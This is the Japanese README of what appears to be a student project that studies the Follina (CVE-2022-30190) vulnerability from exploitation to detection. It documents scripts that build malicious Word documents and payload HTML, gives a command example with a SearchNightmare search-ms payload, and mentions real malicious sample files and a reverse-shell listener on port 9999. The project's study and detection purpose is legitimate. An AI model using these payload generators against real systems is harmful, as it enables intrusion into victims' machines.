jeffreybxu/five-nights-at-follina-sFollina（CVE-2022-30190）脆弱性のエクスプロイトから検知・防御までの全サイクルを調査するFullstack Academy Cybersecurityプロジェクト。
Fullstack Academyのサイバーセキュリティプロジェクトです。Follina（CVE-2022-30190）脆弱性のエクスプロイトから検出・防御に至る全サイクルを調査します。
チーム:
このツールセットは、Webホストを所有しているか、Pythonを使用して簡単なWebサーバーを起動し、生成されたペイロードファイルやサンプルペイロードファイルをホストできることを前提としています。
Example Payloadsフォルダ内のファイルには、実際の悪意のあるコードが含まれています。これらはローカルネットワーク上のVMで使用されており、すべてのマシンを信頼できる安全なネットワークでは問題になることはないはずですが、これらのファイルを使用または変更する際には注意してください。さらに、ドキュメント生成ツールやペイロード生成ツールは、当然ながら独自の悪意のあるファイルを作成します。これらのツールは、VMやその他の使い捨て環境でのみ使用してください。理解できないツールをここで使用しないでください。
Follinaエクスプロイトを使用したMicrosoft Word文書を作成するには、docgen_v3.pyを実行し、以下のオプションを使用してください。
ペイロードHTMLファイルを作成するには、Windowsの電卓を開くPoCペイロードを生成する poc サブコマンド、または独自のスクリプトを使用したペイロードを生成する custom サブコマンドを指定して、generate_payload.pyを使用してください。
例:
python generate_payload.py poc -o test.html は、test.htmlに電卓ペイロードを生成します。python generate_payload.py custom -o test.html -p "search-ms:query=procmon.exe&crumb=location:%5C%5Clive.sysinternals.com%5Ctools&displayname=IMPORTANT%20UPDATE" は、SearchNightmareエクスプロイトを使用したカスタムペイロードとしてtest.htmlを生成します。サンプルペイロードは「Example Payloads」フォルダにあります。
Follinaの検出には、イベントをログに記録するためのSysmonのインストールが必要です。ここでの検出方法は、Microsoft WordがMSDT.exeを呼び出すインスタンスを検出することに依存していますが、スクリプトは、FollinaがPowershellコマンドで使用する引数などの他のアーティファクトを検索するように変更できます。利用可能なツールは以下のとおりです。
すべてのサンプルのdocx、rtf、htmlファイルは、IPアドレス10.0.2.15でホストされているペイロードを指しています。さらに、リバースシェルエクスプロイトを使用する場合は、ポート9999でリスナーを設定してください。